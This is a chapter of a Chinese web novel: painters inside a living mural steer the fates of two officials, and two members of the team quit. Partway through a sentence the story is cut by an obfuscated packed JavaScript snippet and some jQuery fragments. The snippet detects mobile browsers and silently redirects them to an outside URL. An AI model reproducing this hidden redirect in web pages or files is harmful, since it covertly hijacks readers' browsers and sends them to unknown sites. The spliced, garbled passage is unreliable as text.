11. 第十一章 分道

作品:《壁画师之活经降魔变

    “不是,你这太不厚道了吧?”汪思思斥道。


    冯文并一脸不解:“你怎么丢下我们了,不是说成功了一半了吗?”


    “就觉得有点惨,看不下去了。迟老弟说得对。”


    劳青放下工具,双手举起作出投降的姿势,面对队友的质问,和孙黎刀人一般的眼神,他面上只是带了点愧疚的笑:“证道是好事,你们年轻人加油,老头子就不陪你们玩了。”


    与此同时,他身前石壁上的亮光也砰然熄灭,与普通冰冷的石板并无二致。


    “有相,我这就能走吗?”劳青仰头问。


    “你!”汪思思一时气急,从小被灌输的教育又让她说不来骂人的话,只得哽着,整个脸都憋红了。


    “请。”话音刚落,众人身后的石墙突然发出轰隆隆的声响,继而露出一个可容一人的门洞来。


    “老头子等我。”迟元升紧随其后,关石壁抛画笔一气呵成,就是站起来时费了些力。


    “来来来,迟老弟,我扶着你。”劳青见状忙哼哧哼哧折返回来,搀住这位差不多是自己孙儿辈的病秧子。


    “迟元升,已确认退出。”有相一字一句道。


    众人沉默地盯着矫健的白发老翁扶着颤颤巍巍的黑发青年一步一步走远,直到石门封上。


    “几位施主,温馨提醒,故事仍在继续,莫要停留。”有相流于表面的温馨又一次出现。


    “我们这组少了两人,还怎么继续?”


    汪思思问,“现在能控制的也只有风和火了。”


    “谁说不行了?”孙黎冷笑地替有相接了话,“没了碍事的男人反而不用束手束脚。”


    “姐,你对我们男人是有什么意见呢?”冯文并斟酌地问道,话刚说完他猛地意识到现下石室中竟是只剩他一个男子,随即识相地闭了嘴。


    他现在也不敢有什么意见了。


    “冯文并。”邱德菲阴沉地说道。


    “来嘞大姐头,有什么需要我的?”冯文并赶忙抓住了这救命稻草,顺着台阶逃离了孙黎的威压。


    “刚发生了啥?怎么回去了?”冯文并见了眼前场景有点懵,其时虚幻世界中已经是夜晚,小甲正从小乙的宅邸中走出,身后是乌压压一片西党的人,看上去很不友好的样子。


    “刚我们让他们二人见了一面。”周蕴说道,“不欢而散。”


    冯文并也终于记起了前因后果,他唉声叹气道:“也是,小乙肯定也得到消息了,现在咱们这位可是两边都不待见,哎,修行啊修行啊,这就要开始了吗?”


    “速度变快了。”时苑突然说道。


    这时余人才注意到画和沙盘像是发条被扭紧了似的,时间竟是在不知不觉中较原来快了不少,白天黑夜跟灯光闪烁一样,里面的人影更是眼花缭乱,快得跟飘起来一样。


    “客......”冯文并一时情急,不过脑就喊出一声不知什么意思的词,好在刚出口就意识到不对。他慌忙改口,“有相!这怎么回事啊?!”


    有相毫无波澜的声音又从四面八方传来:“因为场景太多,所以帮你们减少了一些不必要的时间。”


    汪思思翻了个白眼,无语道:“可是刚捏出来人已经到别出去了。”


    “速度够快即可,而且诸位都是万里挑一的大家,只需添上一两笔,定能扭转乾坤。”有相毫无起伏的语调听不出来什么情感,但明显不是在真心夸赞,“当然你们即使袖手旁观,故事也是能继续的。”


    一瞬间在场人都被气笑了。


    “那还让我们来干嘛?”汪思思撇撇嘴。


    “让他们走出来。”有相倒是在认真回答,但没人顾得上他了。


    画中日光明灭,二人步入官场,小甲和绣球姑娘成亲后,虽然与西党断了联系,但也得了不太喜欢自己的老丈人些许的庇护,到东都任职。而小乙因腿伤不便,因祸得福,成了他们这一批唯一留在京城任职的,他也自然成了西党的重点扶植对象,在官场上混得顺风顺水,就是家宅的事情有些闹心。


    孙黎的画风干练中不失优雅,但渐渐地迫于形势也变得潦草起来,汪思思本就是走写意的路线,如今更是越捏越抽象。二人三天两头就给小乙的府邸添把火,这煽风点火的行径做多了,住在同一街道的邻居被烧怕了,有能耐的都搬走了。


    久而久之,小乙这人不详的说法就在京城里传了开来,一开始还有不嫌弃他腿疾的人家前来提亲,后来也都不了了之。


    当然汪、孙二人巴不得他立刻出家,见此倒也觉得省心。


    不久之后,小乙就凭借自己和西党众人的共同努力混进了工部,并揽下了修建皇家佛寺的肥差。


    反观小甲这边就不大顺了,他到东都才上任没几日,京城就传来噩耗——他老丈人突然病逝了。没了太尉大人的势,他在东都的板凳还没坐热就被调到了偏僻的南边。


    举家南下之前,那位绣球小姐腹部已隆起了一个小山包,小甲万般劝说还是没能说服她留下。最终在一个狂风暴雨的夜里,在离目的地不到两座山的荒郊野外,绣球小姐生下了个哥儿就撒手人寰。


    那一夜,时间好像变慢了,四人却还是没能救得了她。他们能逢山开路,能让风雨停歇,能让天放光明,但面对绣球小姐越发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485305|169839||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    僵硬冰冷的躯体,也是束手无策。


    天光亮起,绣球小姐的墓前,小甲抱着刚出生的婴儿孤零零地杵在那许久,也不知道在想些什么,四人沉默地看着这一幕,也在为这位小姐默哀。


    “或许她本来的故事不是这样的。”邱德菲头顶着阴霾说道。


    冯文并满脸失落:“我应该早点让雨停的,他们早点到城里,也就不会死了。”


    “这是她的因果,她只是......”时苑安慰的话刚开了个头就被邱德菲打断。


    “我当然知道,她在画里就是小甲修行路上的一块垫脚石,”邱德菲终于还是扯开了遮羞布,直接说出众人心知肚明的真相。


    “在抢绣球的时候,我们当时就知道她和小甲注定有关联,一切都是天命。”说着说着她好像被自己的话点燃了一样:“我想的和迟元升不一样,如果把我们代入这绣球姑娘,为了主角的成长,就必须牺牲我们这些配角,这公平吗?你们甘心吗?”


    ——“他一份力都没出,为什么要加他的名字?”


    ——“我们为什么要做他的垫脚石?这公平吗?”


    周蕴蓦地一怔,刚才邱德菲说这番话的时候,她脑海中同时浮现了一个女子咆哮的声音,画面依旧模糊,但最后一句话和邱德菲的话竟然几乎完全叠在一起,就和一开始冯文并对的那句暗号一样。


    “大姐头你.......”冯文并摸不着头脑。


    邱德菲也意识到自己有些失态,她僵硬地咳了咳:“没,不知道怎么就激动起来......”


    “没事,咱们守好自己,别入戏太深就好。”时苑温和地朝邱德菲说道,周蕴坐在二人中间,只觉得她这话又好似是对自己说的。


    周蕴的情绪也平复了,于是附和道:“是啊,虽然命运是设定好的,但我们给了她选择,这是她的选择。”


    这座偏远南方小城的地方官不是那么容易当的,他刚上任就接连遇上了水患和地裂,百姓叫苦连天,朝廷的拨款又迟迟未到,他在百姓、同僚、朝廷、天灾之间艰难地周旋,身形日渐消瘦,年纪轻轻就生了华发。


    日转星移,在小甲的努力下,南边小城的纷乱终于渐渐平息,除了偶尔有山贼土匪冒头,余下都逐渐步入正轨,小甲在当地的名声也好起来。


    与此同时,京城一处在建的寺庙正被烈焰重重包裹,一名文官打扮的人被人扶着一瘸一拐地走出火海最盛处的大殿。脱困后,小乙面无表情地脱下还带着火苗的官袍,披在了身旁还未来得及请入大殿的佛像上。


    紧接着,四周传来熟悉的音调:“汪思思,已确认退出。”